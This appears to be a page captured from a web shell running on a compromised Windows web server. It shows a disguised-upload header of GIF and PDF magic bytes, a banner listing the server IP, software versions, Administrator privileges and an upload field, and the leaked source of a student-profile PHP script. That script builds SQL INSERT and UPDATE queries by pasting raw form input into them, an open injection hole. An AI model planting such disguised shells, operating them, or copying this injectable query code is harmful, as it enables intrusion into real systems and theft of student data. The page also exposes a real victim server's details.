GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/StudentProfile/ |
Upload File : |
<? // StudentProfilePerform.phpinc if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n"; if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n"; #setDebugOn(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__.":".__LINE__."</b><br>\n"; echo "\$f_studentprofileId=".$f_studentprofileId."<br>\n"; echo "\$f_studentprofileCredential=".$f_studentprofileCredential."<br>\n"; echo "\$f_studentprofileImage=".$f_studentprofileImage."<br>\n"; echo "\$f_studentprofileImage_Current=".$f_studentprofileImage_Current."<br>\n"; echo "\$f_studentprofileImage_Original=".$f_studentprofileImage_Original."<br>\n"; echo "\$f_studentprofilePast=".$f_studentprofilePast."<br>\n"; echo "\$f_studentprofileFuture=".$f_studentprofileFuture."<br>\n"; echo "<b>\$f_studentprofilePrimaryCampus=</b>",$f_studentprofilePrimaryCampus,": </b>",basename(__FILE__),"</b>:",__LINE__," (",__FILE__,")<br>\n"; } if ( $_SESSION['uuid'] != $f_uuid ) { // This is not a page reload, so perform. if ($f_studentprofileId == 0) { // Add the Student Profile. $f_lastModified = currentDateTime(); $query = " INSERT INTO studentprofile ( studentprofileId, userId, studentprofileImage, studentprofileCredential, studentprofilePast, studentprofileFuture, studentprofileSubmitted, lastModified, studentprofileEmail1, studentprofileEmail2, studentprofilePhone1, studentprofilePhone2, studentprofilePhoneType1, studentprofilePhoneType2, studentprofilePrimaryCampus ) VALUES ( ".$f_studentprofileId.", ".$_SESSION['userId'].", '".$f_studentprofileImage."', '".$f_studentprofileCredential."', '".$f_studentprofilePast."', '".$f_studentprofileFuture."', 0, '".$f_lastModified."', '".$f_studentprofileEmail1."', '".$f_studentprofileEmail2."', '".$f_studentprofilePhone1."', '".$f_studentprofilePhone2."', '".$f_studentprofilePhoneType1."', '".$f_studentprofilePhoneType2."', '".$f_studentprofilePrimaryCampus."' )"; $studentprofileInsert = query_do($query); // Get the studentprofile info. $query = " SELECT studentprofileId FROM studentprofile WHERE userId = ".$_SESSION['userId']." "; $studentprofileResult = query_do($query); $studentprofileCount = $_SESSION['qry']['count']; $studentprofileRow = mysqli_fetch_assoc($studentprofileResult); $f_studentprofileId = $studentprofileRow['studentprofileId']; $f_message = 'Student Profile added.'; } else { // Update the Student Profile. $f_lastModified = currentDateTime(); $query = " UPDATE studentprofile SET studentprofileImage = '".$f_studentprofileImage."', studentprofileCredential = '".$f_studentprofileCredential."', studentprofilePast = '".$f_studentprofilePast."', studentprofileFuture = '".$f_studentprofileFuture."', studentprofileSubmitted = 0, lastModified = '".$f_lastModified."', studentprofileEmail1 = '".$f_studentprofileEmail1."', studentprofileEmail2 = '".$f_studentprofileEmail2."', studentprofilePhone1 = '".$f_studentprofilePhone1."', studentprofilePhone2 = '".$f_studentprofilePhone2."', studentprofilePhoneType1 = '".$f_studentprofilePhoneType1."', studentprofilePhoneType2 = '".$f_studentprofilePhoneType2."', studentprofilePrimaryCampus = '".$f_studentprofilePrimaryCampus."' WHERE studentprofileId = '".$f_studentprofileId."' "; $studentprofileUpdate = query_do($query); $f_message = 'Student Profile updated.'; //$_SESSION['uuid'] = $f_uuid; $_SESSION['message'] = $f_message; } } else { // This is a page reload. $f_message = $_SESSION['message']; } //include('common/pageFooter.phpinc'); ?>